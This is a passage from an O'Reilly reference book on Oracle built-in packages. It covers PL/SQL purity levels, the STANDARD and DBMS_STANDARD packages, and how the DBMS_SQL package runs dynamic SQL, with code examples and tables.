Here is the error I get when I try to execute my new and "improved" function:

SQL> SELECT totcomp (salary, NULL) FROM employee;
SELECT totcomp (salary, NULL) FROM employee
       *
ERROR at line 1:
ORA-06571: Function TOTCOMP does not guarantee not to update database

1.3.7.1 Calling a packaged function in SQL

If you want to use a packaged function in a SQL statement, it must have a RESTRICT_REFERENCES pragma. If that is the case, you are all set! Just call the function as you would call a built-in function such as SUBSTR or TO_CHAR.

Suppose that I am working on the large objects stored in files. The DBMS_LOB package includes several RESTRICT_REFERENCES pragmas. Here is the pragma for the GETLENGTH function:

PRAGMA RESTRICT_REFERENCES (getlength, WNDS, RNDS, WNPS, RNPS);

Here are the meanings for each of those purity levels:

WNDS

Writes No Database State. In other words, does not make any changes to database structures by calling an INSERT, UPDATE, or DELETE.

WNPS

Writes No Package State. In other words, does not change the values of any package data structures.

RNDS

Read No Database State. In other words, does not SELECT from any database tables or other database objects.

RNPS

Reads No Package State. In other words, does not reference any package data structures.

The absolute minimum purity level required to allow a program to be used (directly or indirectly) inside SQL is WNDS. You can never update the database. In some situations, such as when you want to call a function from within a WHERE clause, the program will also need to have asserted the WNPS purity level.

Since DBMS_LOB.GETLENGTH asserts all four purity levels, I can use it in SQL, both in the SELECT list of a query and even in the WHERE clause. Here is an example; in it, I display the length of each photograph stored in the archives for my family:

SELECT DBMS_LOB.GETLENGTH (portrait_lob_loc)
  FROM photo_archive
 WHERE family = 'FEUERSTEIN' AND DBMS_LOB.GETLENGTH (portrait_lob_loc) < 1000;

Table 1-4 provides a complete list of all packaged programs that can be called (directly or indirectly) from within a SQL statement, the purity levels for each, and the Oracle versions in which these purity levels become available (thus enabling you to call the programs from within SQL). The rest of this section explains how to use packaged functions and procedures, and the meaning of the various purity levels.

Table 1.4: Purity Levels for Oracle Built-in Package Programs
Package | Program | WNDS | WNPS | RNDS | RNPS
DBMS_LOB | COMPAREa | X | X | X | X
 | FILEEXISTSa | X | X | X | X
 | FILEISOPEN | X | X | X | X
 | GETLENGTH | X | X | X | X
 | INSTR | X | X | X | X
 | SUBSTR | X | X | X | X
DBMS_OUTPUT | DISABLEb | X |  | X |
 | ENABLEb | X |  | X |
 | GET_LINEb | X |  | X |
 | GET_LINESb | X |  | X |
 | NEW_LINEb | X |  | X |
 | PUTb | X |  | X |
 | PUT_LINEb | X |  | X |
DBMS_PIPE | CREATE_PIPEb | X |  | X |
 | NEXT_ITEM_TYPEb | X |  | X |
 | PACK_MESSAGEb | X |  | X |
 | PACK_MESSAGE_RAWb | X |  | X |
 | PACK_MESSAGE_ROWIDb | X |  | X |
 | PURGEb | X |  | X |
 | RECEIVE_MESSAGEb | X |  | X |
 | REMOVE_PIPEb | X |  | X |
 | RESET_BUFFERb | X |  | X |
 | SEND_MESSAGEb | X |  | X |
 | UNIQUE_SESSION_NAMEb | X | X | X |
 | UNPACK_MESSAGEb | X |  | X |
 | UNPACK_MESSAGE_RAWb | X |  | X |
 | UNPACK_MESSAGE_ROWIDb | X |  | X |
DBMS_ROWID | ROWID_BLOCK_NUMBERa | X | X | X | X
 | ROWID_CREATEa | X | X | X | X
 | ROWID_INFOa | X | X | X | X
 | ROWID_OBJECTa | X | X | X | X
 | ROWID_RELATIVE_FNOa | X | X |  | X
 | ROWID_ROW_NUMBERa | X | X | X | X
 | ROWID_TO_ABSOLUTEa | X | X | X | X
 | ROWID_TO_EXTENDEDa | X | X |  | X
 | ROWID_TO_RESTRICTEDa | X | X | X | X
 | ROWID_TYPEa | X | X | X | X
 | ROWID_VERIFYa | X | X |  | X
DBMS_SESSION | UNIQUE_SESSION_IDb | X | X | X |
DBMS_STANDARD | DELETINGb | X | X |  | X
 | INSERTINGb | X | X |  | X
 | RAISE_APPLICATION_ERRORb | X | X | X | X
 | UPDATINGb | X | X |  | X
DBMS_UTILITY | DATA_BLOCK_ADDRESS_BLOCKb | X | X | X | X
 | DATA_BLOCK_ADDRESS_FILEb | X | X | X | X
 | GET_HASH_VALUEb | X | X | X | X
 | MAKE_DATA_BLOCK_ADDRESSb | X | X | X | X
 | PORT_STRINGb | X | X | X | X
UTL_RAW | BIT_ANDb | x | x | x | x
 | BIT_COMPLEMENTb | X | X | X | X
 | BIT_ORb | X | X | X | X
 | BIT_XORb | X | X | X | X
 | CAST_TO_RAWb | X | X | X | X
 | COMPAREb | X | X | X | X
 | CONCATb | X | X | X | X
 | CONVERTb | X | X | X | X
 | COPIESb | X | X | X | X
 | LENGTHb | X | X | X | X
 | OVERLAYb | X | X | X | X
 | REVERSEb | X | X | X | X
 | SUBSTRb | X | X | X | X
 | TRANSLATEb | X | X | X | X
 | TRANSLITERATEb | X | X | X | X
 | XRANGEb | X | X | X | X

a Indicates availability in Oracle8 and above only.

b Indicates availability in Oracle7.3 and above only.

1.3.7.2 Using a packaged procedure from within SQL

You cannot call a PL /SQL procedure directly inside an SQL statement. Instead, you would call that procedure from within a function that is called in SQL (or within another program that is, in turn, called by that function, and so on). That function will not work within SQL unless the procedure it calls has a RESTRICT_REFERENCES pragma.

You will most likely run into this situation when you want to add some trace capabilities to your SQL statement. Suppose that I want to write a general trace function that I can add to any SELECT statement to obtain information about the rows' queries. Here is one possible implementation:

CREATE OR REPLACE FUNCTION sql_trace (str IN VARCHAR2) RETURN NUMBER
IS
BEGIN
   DBMS_OUTPUT.PUT_LINE ('Display from SQL: ' || str);
   RETURN 0;
EXCEPTION
   WHEN OTHERS THEN RETURN SQLCODE;
END;
/

Now I will use this function inside SQL:

SQL> SELECT last_name, sql_trace (first_name) trc
  2    FROM employee
  3   WHERE department_id = 20;

And here are the results:

LAST_NAME              TRC
--------------- ----------
SMITH                    0
JONES                    0
SCOTT                    0
ADAMS                    0
FORD                     0

Wait a minute! Where's the trace output from the function? It turns out that you must call DBMS_OUTPUT.ENABLE to flush out the current contents of the buffer (a "standalone" call to DBMS_OUTPUT.PUT_LINE will also do the trick). Here we go:

SQL> exec dbms_output.enable
Display from SQL: JOHN
Display from SQL: TERRY
Display from SQL: DONALD
Display from SQL: DIANE
Display from SQL: JENNIFER

Previous: 1.2 Built-in Packages Covered in This Book | Oracle Built-in Packages | Next: 1.4 Examining Built-in Package Source Code
1.2 Built-in Packages Covered in This Book | Book Index | 1.4 Examining Built-in Package Source Code
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.4 Examining Built-in Package Source Code

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

1.4 Examining Built-in Package Source Code

When you install the Oracle database, the source code files for all of the built-in packages are placed on your hard disk (either on your own personal computer or on some "remote" server). I recommend strongly that you take some time to examine these files for several reasons:

  1. The files contain documentation that may complement the contents of this book and improve your understanding of how to use the packages.

  2. The files are the source code. They contain the definitive listing of what is available in the package. This book makes a valiant effort to offer up-to-date information on almost every one of the most commonly used packages, but it never hurts to check the original. For example, I suggest that every time you install a new version of the database, you should check (at a minimum) the dbmsutil.sql file, to see if Oracle Corporation has added anything to its miscellaneous package, DBMS_UTILITY.

  3. It can be an awful lot of fun to see how Oracle's own developers construct and document their own PL /SQL packages. This is particularly true of the file containing the STANDARD package, standard.sql.

  4. Dependencies. The built-in package file can provide you with other valuable information, including which built-in packages and/or other objects must already be in the database before you can proceed with the installation.

Where do you find all of this interesting code? If you are working in a UNIX environment, the files that define the built-in packages may be found in,

$ORACLE_HOME/rdbmsNN/admin

where NN is the version number. So if you are running Oracle 7.3, you will find the source code files in /this directory/:

$ORACLE_HOME/rdbms73/admin

If you are working in Windows NT, these files are located in,

C:\OraNT\RdbmsNN\admin

where C is the drive on which Oracle was installed. You can probably deduce the pattern at this point for other operating systems.

If you are working in a UNIX environment that conforms to the OFA (Optimal Flexible Architecture) configuration standards, the catalog scripts will be found under,

$ORACLE_HOME/rdbms/admin

with the $ORACLE_HOME environment variable containing the Oracle version information.

If you are working with VAX/VMS, the software directory tree structure often looks like this:

[ORACLE733.RDBMS.ADMIN]
[ORACLE803.RDBMS.ADMIN]

Note that you do not necessarily have read access on these directories, so I cannot guarantee that you will be able to view the contents of these files. If you can, however, I suggest that you first stop at standard.sql (present up through Oracle 7.3, but seems to disappear with some installations of Oracle 8.0). This file contains the definition of the STANDARD package, which is explained in the next section.

1.4.1 The STANDARD Package

One of the most surprising things I ever learned about the PL /SQL language is that the most basic elements of that language are defined in a PL /SQL package called STANDARD. According to the modification history in the standard.sql file, this package was created on November 21, 1992. Contained inside it are many lessons about the very nature of the PL /SQL language.

Consider the TO_DATE and SUBSTR functions. Although they seem like basic, low-level language elements, both of these are functions defined (and overloaded) in the STANDARD package. Even more astonishing, the most basic operators in the PL /SQL language, such as +, IN, and LIKE, are actually defined as functions in that same package.

Here, for example, are the definitions of the LIKE and = operators,

function 'LIKE' (str VARCHAR2, pat VARCHAR2) return BOOLEAN;
function '='  (LEFT NUMBER, RIGHT NUMBER) return BOOLEAN;

and here is the implementation of LIKE:

function 'LIKE' (str varchar2, pat varchar2) return boolean is
begin
  return peslik(str, pat);
end;

What is this peslik function? Ah, that is where, when, and how Oracle "cheats" (or, at least, makes the rest of us PL /SQL developers jealous):

function peslik(str varchar2, pat varchar2) return boolean;
    pragma interface (c,peslik);

The peslik function is a stub program for a callout to C.

You will also discover that all PL /SQL datatypes are defined in the STANDARD package specification as types and subtypes:

subtype INTEGER is NUMBER(38,0);
subtype BINARY_INTEGER is INTEGER range '-2147483647'..2147483647;
subtype NATURAL is BINARY_INTEGER range 0..2147483647;
subtype NATURALN is NATURAL not null;
subtype SIGNTYPE is BINARY_INTEGER range '-1'..1;  -- for SIGN functions

Interestingly, the subtype SIGNTYPE is not listed in PL /SQL manual. Once discovered here, though, you can put it to use in your code.[4] If, for example, you need a variable that can only have values -1, 0, 1, and NULL, you can write something like this:

[4] This insight was provided by Solomon Yakobson.

/* Filename on companion disk: creind.sp */
DECLARE my_variable SIGNTYPE;

Trying to assign my_variable outside of SIGNTYPE range results in an error:

SQL> DECLARE my_variable SIGNTYPE;
  2  BEGIN
  3    my_variable := 2;
  4  END;
  5  /
DECLARE my_variable SIGNTYPE;

*

ERROR at line 1:
ORA-06502: PL /SQL: numeric or value error
ORA-06512: at line 3

All predefined exceptions are also defined in the STANDARD package specification:

LOGIN_DENIED exception;
  pragma EXCEPTION_INIT(LOGIN_DENIED, '-1017');

If you are still running Oracle7, take a look at standard.sql. You might even want to copy it to some other location, so that when you upgrade to Oracle8, you won't lose access to this file and all of its fascinating contents.

1.4.2 The DBMS_STANDARD Package

The other default package, DBMS_STANDARD, deserves some mention. It can be found in the dbmsstdx.sql file, and it contains, according to the file's own documentation, "kernel extensions to package STANDARD... mostly utility routines for triggers." You will find in DBMS_STANDARD the following programs:

PROCEDURE raise_application_error
   (num BINARY_INTEGER,
    msg VARCHAR2,
    keeperrorstack BOOLEAN DEFAULT FALSE);

FUNCTION inserting RETURN BOOLEAN;
FUNCTION deleting  RETURN BOOLEAN;
FUNCTION updating  RETURN BOOLEAN;
FUNCTION updating (colnam varchar2) RETURN BOOLEAN;

So whenever you write code like this,

IF hiredate < ADD_MONTHS (SYSDATE, -216)
THEN
   RAISE_APPLICATION_ERROR
     (-20000, ' Employee must be at least 18 years old.');
END IF;

you are actually calling a program in the DBMS_STANDARD package. Again, this package is defaulted, so you do not need to qualify references to these procedures and functions.

Previous: 1.3 Using Built-in Packages | Oracle Built-in Packages | Next: II. Application Development Packages
1.3 Using Built-in Packages | Book Index | II. Application Development Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] Executing Dynamic SQL and PL/SQL

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: II. Application Development Packages Chapter 2 Next: 2.2 Getting Started with DBMS_SQL

2. Executing Dynamic SQL and PL/SQL

Contents:
Examples of Dynamic SQL
Getting Started with DBMS_SQL
The DBMS_SQL Interface
Tips on Using Dynamic SQL
DBMS_SQL Examples

The DBMS_SQL package offers access to dynamic SQL and dynamic PL/SQL from within PL/SQL programs. "Dynamic" means that the SQL statements you execute with this package are not prewritten into your programs. They are, instead, constructed at runtime as character strings and then passed to the SQL engine for execution.

The DBMS_SQL package allows you to perform actions that are otherwise impossible from within PL/SQL programs, including:

Execute DDL statements

DDL (Data Definition Language) statements, such as DROP TABLE or CREATE INDEX, are not legal in native PL/SQL. On the other hand, you can use DBMS_SQL to issue any DDL statement and create generic programs to perform such actions as dropping the specified table. Of course, your session will still need the appropriate database privileges to perform the requested actions.

Build an ad-hoc query interface

With DBMS_SQL, you no longer have to hard-code a SELECT statement for a query or a cursor. Instead, you can let a user specify different sort orders, conditions, and any other portion of a SELECT statement.

Execute dynamically constructed PL/SQL programs

In a database table you can store the names of procedures that perform certain calculations. Then build a front-end to that table, which allows a user to select the computation of interest, provide the inputs to that program, and then execute it. When other computations need to be offered to the user, you add a row in a table, instead of modifying one or more screens.

DBMS_SQL is simultaneously one of the most complex, most useful, and most rewarding of the built-in packages. It may take some time for you to get comfortable with how to apply the technology. Once you are up and running, however, you will be amazed at the feats you will be able to perform!

2.1 Examples of Dynamic SQL

Before explaining the details of DBMS_SQL, let's look at a few concrete examples.

When you issue a SQL statement via DBMS_SQL, you will have to write much more code than you would by simply executing a native SQL statement, such as an implicit cursor created with a SELECT statement. To get a feel for the differences between these two approaches, consider the following code. This first procedure uses native SQL to give every employee in the specified department a raise:

PROCEDURE giveraise (dept_in IN INTEGER, raise_in IN NUMBER) IS
BEGIN
   UPDATE employee
      SET salary = salary + raise_in
    WHERE department_id = dept_in;
END;

The following procedure does the same thing, but with DBMS_SQL. Given the volume of code (and the subsequent overhead), you should only use DBMS_SQL when your SQL statement is truly dynamic or involves DDL.

PROCEDURE giveraise (dept_in IN INTEGER, raise_in IN NUMBER)
IS
   cursor_handle INTEGER;
   emps_updated INTEGER;
BEGIN
   /* Create a cursor to use for the dynamic SQL */
   cursor_handle := DBMS_SQL.OPEN_CURSOR;
   /*
   || Construct the SQL statement and parse it in Version 7 mode.
   || Notice that the statement includes two bind variables; these
   || are "placeholders" in the SQL statement.
   */
   DBMS_SQL.PARSE
      (cursor_handle,
       'UPDATE employee SET salary = salary + :raise_amount ' ||
          'WHERE department_id = :dept',
       DBMS_SQL.V7);

   /* Now I must supply values for the bind variables */
   DBMS_SQL.BIND_VARIABLE (cursor_handle, 'raise_amount', raise_in);
   DBMS_SQL.BIND_VARIABLE (cursor_handle, 'dept', dept_in);

   /* Execute the SQL statement */
   emps_updated := DBMS_SQL.EXECUTE (cursor_handle);

   /* Close the cursor */
   DBMS_SQL.CLOSE_CURSOR (cursor_handle);
EXCEPTION
   WHEN OTHERS
   THEN
      /* Clean up on failure too. */
      DBMS_SQL.CLOSE_CURSOR (cursor_handle);
END;

Truly dynamic SQL occurs when you literally construct the SQL statement from runtime variable values. This is shown in the next example. The create_index procedure creates an index where the name of the index, the name of the table, and the column on which the index is to be created are passed as parameters to the procedure. This action would be impossible without DBMS_SQL for two reasons: this is a DDL call and the SQL statement isn't known until the procedure is called.

/* Filename on companion disk: creind.sp */
CREATE OR REPLACE PROCEDURE create_index
   (index_in IN VARCHAR2, table_in IN VARCHAR2, column_in in VARCHAR2)
IS
   cursor_handle INTEGER;
   feedback INTEGER;
BEGIN
   /* Create a cursor to use for the dynamic SQL */
   cursor_handle := DBMS_SQL.OPEN_CURSOR;

   /* Construct the SQL statement and parse it in native mode. */
   DBMS_SQL.PARSE
      (cursor_handle,
       'CREATE INDEX ' || index_in || ' ON ' || table_in ||
          '( ' || column_in || ')',
       DBMS_SQL.NATIVE);

   /* You should always execute your DDL! */
   feedback := DBMS_SQL.EXECUTE (cursor_handle);

   DBMS_SQL.CLOSE_CURSOR (cursor_handle);
END create_index;
/

Previous: II. Application Development Packages | Oracle Built-in Packages | Next: 2.2 Getting Started with DBMS_SQL
II. Application Development Packages | Book Index | 2.2 Getting Started with DBMS_SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.2 Getting Started with DBMS_SQL

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

2.2 Getting Started with DBMS_SQL

Before you start using DBMS_SQL, you need to make sure that it is installed and that the appropriate users have access to this package. In addition, you should be aware of how privileges are applied to programs that execute dynamic SQL.

2.2.1 Creating the DBMS_SQL Package

The DBMS_SQL package is created when the Oracle database is installed. The dbmssql.sql script (found in the built-in packages source code directory, as described in Chapter 1, Introduction) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_SQL for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

Given the power, flexibility, and potential impact of dynamic SQL, you may actually want to revoke public access to DBMS_SQL and instead grant EXECUTE privilege to only those users who need to perform dynamic SQL.

To "hide" DBMS_SQL, issue this command from the SYS account:

REVOKE EXECUTE ON DBMS_SQL FROM PUBLIC;

To grant EXECUTE privilege to a specific user, issue this command from SYS:

GRANT EXECUTE ON DBMS_SQL TO whatever_user;

2.2.2 Security and Privilege Issues

Generally, when you run stored code (and all DBMS_* built-in packages are certainly stored in the database!), that code executes under the authority and using the privileges associated with the owner of the code. If this rule were applied to DBMS_SQL, then anyone who had EXECUTE privilege on DBMS_SQL would be able to act as SYS. This is clearly not a viable approach.

When you execute a DBMS_SQL program from within an anonymous block, that program is executed using the privileges of the current schema. If you embed DBMS_SQL programs within a stored program, those dynamic SQL programs will execute using the privileges of the owner of the stored program. DBMS_SQL is, in other words, a "run as user" package, rather than a "run as owner" package. This can lead to a number of complications, discussed in more detail in the "Tips on Using Dynamic SQL" section later in this chapter.

2.2.3 DBMS_SQL Programs

DBMS_SQL is one of the most complex built-in packages, with a large number of programs and data structures defined in the package specification. Table 2.1 summarizes the programs defined in the DBMS_SQL package.

Table 2.1: DBMS_SQL Programs
Name | Description | Use in SQL?
BIND_ARRAY | Binds a specific value to a host array (PL/SQL8 only). | No
BIND_VARIABLE | Binds a specific value to a host variable. | No
CLOSE_CURSOR | Closes the cursor. | No
COLUMN_VALUE | Retrieves a value from the cursor into a local variable. | No
COLUMN_VALUE_LONG | Retrieves a selected part of a LONG value from a cursor's column defined with DEFINE_COLUMN_LONG. | No
DEFINE_ARRAY | Defines an array to be selected from the specified cursor (PL/SQL8 only). | No
DEFINE_COLUMN | Defines a column to be selected from the specified cursor. | No
DEFINE_COLUMN_LONG | Defines a LONG column to be selected from the specified cursor. | No
DESCRIBE_COLUMNS | Describes the columns for a dynamic cursor (PL/SQL8 only). | No
EXECUTE | Executes the cursor. | No
EXECUTE_AND_FETCH | Executes the cursor and fetches its row(s). | No
FETCH_ROWS | Fetches the row(s) from the cursor. | No
IS_OPEN | Returns TRUE if the cursor is open. | No
LAST_ERROR_POSITION | Returns the byte offset in the SQL statement where the error occurred. | No
LAST_ROW_COUNT | Returns the total number of rows fetched from the cursor. | No
LAST_ROW_ID | Returns the ROWID of the last row fetched from the cursor. | No
LAST_SQL_FUNCTION_CODE | Returns the SQL function code for the SQL statement. | No
OPEN_CURSOR | Opens the cursor. | No
PARSE | Parses the specified SQL statement. If the statement is a DDL statement, then the parse also executes the statement. | No
VARIABLE_VALUE | Gets a value of a variable in a cursor. | No

2.2.4 Types of Dynamic SQL

There are four distinct types, or methods, of dynamic SQL that you can execute with the programs of DBMS_SQL; these are listed in Table 2.2. Familiarity with these methods and the kinds of code you need to write for each will help you use DBMS_SQL most effectively.

Table 2.2: Types of Dynamic SQL
Type | Description | DBMS_SQL Programs Used
Method 1 | No queries; just DDL statements and UPDATEs, INSERTs, or DELETEs, which have no bind variables. | EXECUTE
Method 2 | No queries; just UPDATEs, INSERTs, or DELETEs, with a fixed number of bind variables. | EXECUTE
Method 3 | Queries (SELECT statements) with a fixed numbers of columns and bind variables. | VARIABLE_VALUE
Method 4 | Queries (SELECT statements) with a variable numbers of columns and bind variables. In other words, you don't know until runtime how many bind variables there may be. | Same as for Method 3, but the code you must write is much more complex.

The following DDL statement is an example of Method 1 dynamic SQL:

CREATE INDEX emp_ind_1 on emp (sal, hiredate)

And this update statement is also Method 1 dynamic SQL:

UPDATE emp SET sal = 10000 WHERE empno = 1506

Of course, that UPDATE statement also is not very dynamic. If I now add a placeholder to this DML statement (indicated by the colon) so that I do not "hard-code" the employee number, I then have Method 2 dynamic SQL:

UPDATE emp SET sal = 10000 WHERE empno = :employee_id

A call to BIND_VARIABLE will be required for the previous statement to be executed successfully with DBMS_SQL.

A Method 3 dynamic SQL statement is a query with a fixed number of bind variables (or none). This will be the most common type of dynamic SQL you will execute. Here is an example:

SELECT ename, :second_column FROM emp WHERE deptno = :dept_id

In this case, I am leaving until runtime the decision about which column I will retrieve with my query. Now, this statement looks like Method 3 dynamic SQL, but this dynamic stuff can get very tricky. What if I substituted the string "hiredate, sal" for the placeholder "second_column"? I could then have a variable number of columns in the select list, and this would be Method 4 dynamic SQL.

How can you tell the difference? Well, you really can't just by looking at the string. The code, however, will tell. If you do not plan for Method 4 (variable number of columns in the select list, in this case), then your PL/SQL program will fail. It will not issue the right number of calls to DEFINE_COLUMN.

Usually, when you are dealing with Method 4 dynamic SQL, you will have strings that look more like this:

SELECT :select_list FROM emp WHERE :where_clause

Now there can be no doubt: there is no way to know how many columns you are retrieving. So how do you write your PL/SQL program to handle this complexity? Slowly and carefully, with lots of debugging. You will need to write logic to parse strings, locate placeholders, and then call the appropriate DBMS_SQL program.

Very few developers will have to deal with Method 4 dynamic SQL. You can find an example of the kind of code you will have to write in the later section, "Displaying Table Contents with Method 4 Dynamic SQL."

2.2.5 DBMS_SQL Exceptions

The DBMS_SQL defines a single exception in its specification as follows:

DBMS_SQL.INCONSISTENT_TYPE EXCEPTION;
PRAGMA EXCEPTION_INIT(DBMS_SQL.INCONSISTENT_TYPE, -6562);

This exception can be raised by either the COLUMN_VALUE or the VARIABLE_VALUE procedure if the type of the specified OUT argument is different from the type of the value which is being returned. You can trap this exception and handle it with the following syntax in your exception section:

EXCEPTION
   WHEN DBMS_SQL.INCONSISTENT_TYPE
   THEN
       . . .

You may encounter other exceptions when working with dynamic SQL (in fact, there will be times when you believe that all you can do with DBMS_SQL is raise exceptions). The table on the following page displays some of the most common errors.

Error Number | Description
ORA-00942 | Table or view does not exist. You have referenced an object that does not exist in your schema. Remember that when you execute SQL from within a programmatic interface, that SQL is executed under the schema of the owner of the program, not that of the account running the PL/SQL program.
ORA-01001 | Invalid cursor. You have tried to use a value which has not been initialized as a DBMS_SQL cursor through a call to OPEN_CURSOR.
ORA-01002 | Fetch out of sequence. If you execute FETCH_CURSOR more than once after the cursor's result set is exhausted, you will raise this exception.
ORA-01008 | Not all variables bound. You have included a placeholder in your SQL statement string in the form :BINDVAR, but you did not call BIND_VARIABLE to bind a value to that placeholder.
ORA-01027 | Bind variables not allowed for data definition operations. You cannot include a bind variable (an identifier with a colon in front of it) in a DDL statement executed dynamically.
ORA-01031 | Insufficient privileges. You have tried to execute a SQL statement for which you do not have the appropriate privileges. Remember that when you execute a SQL statement inside a PL/SQL program, all roles are disabled. You will need to have directly granted privileges on your objects to affect them from within PL/SQL and the DBMS_SQL package.
ORA-29255 | This occurs with array processing in PL/SQL8. The cursor may not contain both bind and define arrays. For more information, see the section "Array Processing with DBMS_SQL."

2.2.6 DBMS_SQL Nonprogram Elements

DBMS_SQL defines three constants that you use in calls to the PARSE procedure to specify how Oracle handles the SQL statement:

DBMS_SQL.NATIVE CONSTANT INTEGER := 1;
DBMS_SQL.V6 CONSTANT INTEGER := 0;
DBMS_SQL.V7 CONSTANT INTEGER := 2;

The PL/SQL8 version of the DBMS_SQL package also predefines a number of data structures for use in array processing and column describes.

When you want to parse very long SQL statements (in excess of 32Kbytes), you'll need to declare a table based on the DBMS_SQL.VARCHAR2S index-by table TYPE defined as follows:

SUBTYPE VARCHAR2S IS SYS.DBMS_SYS_SQL.VARCHAR2S;

A little investigation reveals that this table is, in turn, defined as:

TYPE VARCHAR2S IS TABLE OF VARCHAR2(256)
   INDEX BY BINARY_INTEGER;

When you use the DESCRIBE_COLUMNS procedure, you'll need to declare records based on the DBMS_SQL.DESC_REC record TYPE and index-by tables based on the DBMS_SQL.DESC_TAB table TYPE. These are defined as:

TYPE DESC_REC IS RECORD (
   col_type BINARY_INTEGER := 0, /* type of column */
   col_max_len BINARY_INTEGER := 0, /* maximum length of column */
   col_name VARCHAR2(32) := 0, /* name of column */
   col_name_len BINARY_INTEGER := 0, /* length of column name */
   col_schema_name BINARY_INTEGER := 0,
      /* name of column type schema if an object type */
   col_schema_name_len VARCHAR2(32) := 0, /* length of schema name */
   col_precision BINARY_INTEGER := 0, /* precision if number */
   col_scale BINARY_INTEGER := 0, /* scale if number */
   col_charsetid BINARY_INTEGER := 0, /* character set identifier */
   col_charsetform BINARY_INTEGER := 0, /* character set form */
   col_null_ok BOOLEAN := TRUE /* TRUE if column can be NULL */
   );

TYPE DESC_TAB IS TABLE OF DESC_REC INDEX BY BINARY_INTEGER;

When you perform array processing with the BIND_ARRAY and DEFINE_ARRAY procedures, you will rely on the following predefined index-by tables to set up and manipulate those arrays:

TYPE NUMBER_TABLE IS TABLE OF NUMBER INDEX BY BINARY_INTEGER;
TYPE VARCHAR2_TABLE IS TABLE OF VARCHAR2(2000) INDEX BY BINARY_INTEGER;
TYPE DATE_TABLE IS TABLE OF DATE INDEX BY BINARY_INTEGER;
TYPE BLOB_TABLE IS TABLE OF BLOB INDEX BY BINARY_INTEGER;
TYPE CLOB_TABLE IS TABLE OF CLOB INDEX BY BINARY_INTEGER;
TYPE BFILE_TABLE IS TABLE OF BFILE INDEX BY BINARY_INTEGER;

Remember that these index-by tables are also available for your use even when you are not using, for example, the DEFINE_ARRAY procedure. You can still declare your own CLOB index-by tables based on DBMS_SQL.CLOB_TABLE any time you want and under whichever circumstances. This will save you the trouble of defining the table TYPE.

NOTE: BLOB, CLOB, NCLOB, and BFILE are various large object (LOB) datatypes available with PL/SQL8. See the discussion of the DBMS_LOB package in Chapter 8, Managing Large Objects , for more information on manipulating LOBs from within PL/SQL.

Previous: 2.1 Examples of Dynamic SQL | Oracle Built-in Packages | Next: 2.3 The DBMS_SQL Interface
2.1 Examples of Dynamic SQL | Book Index | 2.3 The DBMS_SQL Interface
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.3 The DBMS_SQL Interface

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

2.3 The DBMS_SQL Interface

DBMS_SQL is an extremely powerful package, but it is also one of the most complicated built-in packages to use. Sure, you can construct and execute any SQL statement you desire. The trade-off for that flexibility is that you have to do lots more work to get your SQL-related job done. You must specify all aspects of the SQL statement, usually with a wide variety of procedure calls, from the SQL statement itself down to the values of bind variables and the datatypes of columns in SELECT statements. Before I explore each of the programs that implement these steps, let's review the general flow of events that must occur in order to use DBMS_SQL successfully.

2.3.1 Processing Flow of Dynamic SQL

In order to execute dynamic SQL with DBMS_SQL you must follow these steps; see Figure 2.1 for a graphical summary:

Figure 2.1: DBMS_SQL execution flow

  1. Open a cursor. When you open a cursor, you ask the RDBMS to set aside and maintain a valid cursor structure for your use with future DBMS_SQL calls. The RDBMS returns an INTEGER handle to this cursor. You will use this handle in all future calls to DBMS_SQL programs for this dynamic SQL statement. Note that this cursor is completely distinct from normal, native PL/SQL cursors.

  2. Parse the SQL statement. Before you can specify bind variable values and column structures for the SQL statement, it must be parsed by the RDBMS. This parse phase verifies that the SQL statement is properly constructed. It then associates the SQL statement with your cursor handle. Note that when you parse a DDL statement, it is also executed immediately. Upon successful completion of the DDL parse, the RDBMS also issues an implicit commit. This behavior is consistent with that of SQL*Plus.

  3. Bind all host variables. If the SQL statement contains references to host PL/SQL variables, you will include placeholders to those variables in the SQL statement by prefacing their names with a colon, as in :salary. You must then bind the actual value for that variable into the SQL statement.

  4. Define the columns in SELECT statements. Each column in the list of the SELECT must be defined. This define phase sets up a correspondence between the expressions in the list of the SQL statement and the local PL/SQL variables receiving the values when a row is fetched (see COLUMN_VALUE). This step is only necessary for SELECT statements and is roughly equivalent to the INTO clause of an implicit SELECT statement in PL/SQL.

  5. Execute the SQL statement. Execute the specified cursor -- that is, its associated SQL statement. If the SQL statement is an INSERT, UPDATE, or DELETE, the EXECUTE command returns the numbers of rows processed. Otherwise, you should ignore that return value.

  6. Fetch rows from the dynamic SQL query. If you execute a SQL statement, you must then fetch the rows from the cursor, as you would with a normal PL/SQL cursor. When you fetch, however, you do not fetch directly into local PL/SQL variables.

  7. Retrieve values from the execution of the dynamic SQL. If the SQL statement is a query, retrieve values from the SELECT expression list using COLUMN_VALUE. If you have passed a PL/SQL block containing calls to stored procedures, use VARIABLE_VALUE to retrieve the values returned by those procedures.

  8. Close the cursor. As with normal PL/SQL cursors, always clean up by closing the cursor when you are done. This releases the memory associated with the cursor.

2.3.2 Opening the Cursor

